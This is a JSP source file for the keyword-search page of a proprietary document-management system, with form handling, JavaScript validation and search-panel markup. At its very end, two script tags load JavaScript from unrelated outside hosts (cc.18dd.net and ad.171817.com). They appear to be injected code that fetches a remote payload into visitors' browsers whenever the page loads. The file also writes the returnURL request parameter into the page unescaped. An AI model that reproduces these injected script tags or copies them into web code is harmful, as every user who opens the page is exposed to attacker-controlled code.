<%
/*
 * @(#)SearchKeywordDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  SearchKeywordDmsDocument.jsp

  This is a SearchKeywordDmsDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.79.2.23 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="keySearchDmsDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "dmsDocumentSearchList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status", "ITEM_STATUS"},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.profile_name", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},
                            {"common.columnheader.updater", "UPDATER_ID"},
                            {"common.columnheader.update_date", "UPDATE_DATE"}
                          };

  String[]   SEARCH_PANEL = {"dms.label.search_criteria_detail", "dms.label.search_criteria_condition", "dms.label.search_word_combination"};

  LogFactory.getLog(this.getClass()).debug("searchKeywordDmsDocument.jsp is running........");
  if(!Utility.isEmpty(session.getAttribute("listDmsDocument"))){
	ListDmsDocumentForm docForm = (ListDmsDocumentForm)session.getAttribute("listDmsDocument");
	keySearchDmsDocumentForm = docForm;
  }


  String pageFlag ="SearchKeywordDmsDocument";
  String pageURL ="";


  int     COLUMN_OFFSET = 3;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = keySearchDmsDocumentForm.getRootID();
  String parentID = keySearchDmsDocumentForm.getParentID();
  String documentID = request.getParameter("documentID");
  String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : keySearchDmsDocumentForm.getReturnTo();

  boolean allFolderSelection = false;
  if (rootID==null & parentID==null){
    allFolderSelection=true;
  }
  String sFromFolder = keySearchDmsDocumentForm.getFromFolder();

  final List resultList= request.getAttribute(LIST_NAME)==null? new ArrayList(): (List) request.getAttribute(LIST_NAME);

  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);

  String sCurFunctionCode = keySearchDmsDocumentForm.getCurFunctionCode();
  final String advSearchOpt = keySearchDmsDocumentForm.getAdvSearchOpt();
  String functionType = "";
  if (DmsOperationConstant.KEYWORD_SEARCH_OPERATION.equals(advSearchOpt)) {
    functionType="common.label.keyword_search";
  } else {
    functionType="common.label.advance_search";
  }

  String sTifExist = "false";
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  boolean enableTiffSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_TIFF_EXPORT);
  boolean enableBulkSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_BULK_SEARCH);

  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);

  if(!Utility.isEmpty(showDefaultProfile)){
    String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
    if(checkCustomFieldArray.length != 3 ){
	  showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
    }
  }else{
    showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
  }
  String keyword=keySearchDmsDocumentForm.getKeyword();
  if(Utility.isEmpty(keyword)){
    keyword="";
  }
  
  boolean isGlobalSearch = true;
  
  if (!Utility.isEmpty(request.getAttribute("isGlobalSearch"))) {
    isGlobalSearch = ((Boolean) request.getAttribute("isGlobalSearch")).booleanValue();
  }
  
  List searchResult = (List) request.getAttribute(LIST_NAME);
%>
<script language="JavaScript">
<!--
PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');

function OpKeywordSearch() {
  var searchKeyUDF="";
  for (var i = 0; i < document.forms.length; i++) {
		if (document.forms[i].name != "") {
			frm = document.forms[i];
			break;
		}
	}
	
  frm.globalSearch.value = false;

  if (!OpKeywordSearchValidate(frm)) {
    return false;
  }

  //clear bulk search value (lee 06/11/15 EIP-868)
  if (frm.uploadFile) frm.uploadFile.disabled = "true";

  frm.opMode.value="<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.navMode.value="<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.advSearchOpt.value = "<%=DmsOperationConstant.KEYWORD_SEARCH_OPERATION%>";
  frm.sortByScore.value=true;
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
	frm.searchPage.value="";
  loadingTo(null, true);//show loading
  frm.submit();
  return false;
} // end of the 'OpKeywordSearch()' function

function OpKeywordSearchValidate(frm) {
  var folderSelected = false;
  var criteriaSelected = false;
	if (frm.searchFolder)	{
		if (frm.searchFolder.length) {
			for ( var i=0; i<frm.searchFolder.length; ++i ) {
				if (frm.searchFolder[i].checked ) { folderSelected = true; }
			}
		} else {
			if (frm.searchFolder.checked == true) {
				folderSelected = true;
			}
		}
	}
  if ( !folderSelected ) {
    alert("<bean:message key='dms.message.location_required'/>");
    return false;
  }
  if (dojo.string.trim(frm.keyword.value).length != 0){
    criteriaSelected = true;
  }
  if (!criteriaSelected){
    alert("<bean:message key='dms.message.criteria_required'/>");
    return false;
  }
  var specialCharacter = "\\+-!():^]{}~*?";
  var keyword = frm.keyword.value;
  for (var i=0; i<specialCharacter.length; i++) {
    var ch = specialCharacter.charAt(i);
    if (keyword.indexOf(ch)!=-1) {
      alert('<bean:message key='errors.framework.character_error' arg0='+-!():^]{}~*?'/>');
      return false;
    }
  }

  return true;
}

function OpKeyReset() {
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if(frm.searchUDF.length){
    for (var i=0; i<frm.searchUDF.length; i++){
      frm.searchUDF[i].checked="";
    }
  }else{
	frm.searchUDF.checked ="";
  }
  
  frm.keyword.value = '';
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
  frm.curStartRowNo.value = 1;
  frm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  frm.advSearchOpt.value="KEY_SEARCH_RESULT";
  frm.searchPage.value="KEY_SEARCH_RESULT";
  frm.globalSearch.value = false;
  frm.submit();
  return false;
} // end of the 'OpListReset()' function
-->
</script>

<!-- Form Section Begin -->
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="docDetailsSize"/>
<html:hidden property="curFunctionCode" value="<%=sCurFunctionCode%>"/>
<html:hidden property="fromFolder"/>
<html:hidden property="globalSearch"/>
<!--  the attribute for keyword search-->

<html:hidden property='returnTo'/>

<!-- index search Tab DIV-->
<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
        <layout:returnButton className="btn-standard" returnURL='<%=request.getParameter("returnURL")%>'/>
    <!--exporting search result-->
<%
	if (!Utility.isEmpty(searchResult)) {
%>
        <html:colheaderButton label="dms.message.document_Zip_export_mode" onClick="return(OpExport())"/>
        <html:colheaderButton label="common.label.delete" onClick="return(OpCustListDeleteNew(editSearchDmsDocumentForm))"/>
        <html:colheaderButton label="dms.label.clip" onClick="return(OpCustClipboard(editSearchDmsDocumentForm))"/>
<%
	}
%>
    </div>
    <layout:filterControl filterPanel="keyworkSearchPanel" onToggle="toggleSearchBox('keyworkSearchPanel');"
    	enable="<%=(isGlobalSearch ? false : true)%>" disabledMessage="comnom.label.show_search" enabledMessage="comnom.label.hide_search"/>
</div>

<div id="keyworkSearchPanel" class="searchChannelPanel" style="display:<%=(isGlobalSearch ? "none" : "block")%>;">
    <div class="shortcutButtonContainer">
      <html:standardButton label="common.label.search" onClick="return OpKeywordSearch()"/>
      <html:standardButton label="common.label.reset" onClick="return OpKeyReset()"/>
    </div>
    <div id="locationFilterPanel">
        <table>
            <tr>
                <td class="formFieldSmall" colspan="2">
                	<bean:message key='common.label.keyword_search'/>:&nbsp;
                	<input type="text" name='keyword' size='30' maxlength='300'
	value='<%=keyword.replaceAll("\"", "&quot;")%>' onkeypress="javaScript:{if(event.keyCode==13)OpKeywordSearch();}"/>
                </td>
            </tr>
            <tr>
                <td class="formFieldSmall">
                	<bean:message key='dms.label.search_result_in'/>
                </td>
                <td class="formFieldSmall">
                	<bean:message key='dms.label.user_defined_index'/>
                </td>
            </tr>
            <tr>
                <td class="formFieldSmall">
                	<html:checkboxOptions wrapperStyleClass="form-style-2-checkbox-wrapper-panel" dbListName='allAccessableRootList' name='searchFolder' nameValue='<%=keySearchDmsDocumentForm.getSearchFolder()%>' hasSelect='<%=allFolderSelection%>'/>
                </td>
                <td class="formFieldSmall">
                	<html:checkboxOptions wrapperStyleClass="form-style-2-checkbox-wrapper-panel" dbListName='dmsUserDefinedIndexList' name='searchUDF' nameValue='<%=keySearchDmsDocumentForm.getSearchUDF()%>' hasSelect='false'/>
                </td>
            </tr>
            <tr>
            	<td class="formFieldSmall" colspan="2">
            		<input type="checkbox" name="checkOrUncheck" checked="true" onClick="checkOrUncheckFolderAll(this);">
					<label id="checkOrUncheckLabel" name="checkOrUncheckLabel"><bean:message key="dms.label.search.unselectall"/></label>
            	</td>
            </tr>
        </table>
    </div>
    
    <div id="standardFilterPanel">
    </div>
</div>

<!-- Form Section End -->
<script language="javascript">
for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

if(frm.userDefinedFieldID&&frm.userDefinedFieldID.length > 1 ){
    for(i = 0 ;i<frm.userDefinedFieldID.length;i++ ){
      if(frm.userDefinedFieldID.options[i].value == "<%=keySearchDmsDocumentForm.getUserDefinedFieldID()%>" ){
        frm.userDefinedFieldID.options[i].selected = true;
      }
    }
  }
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>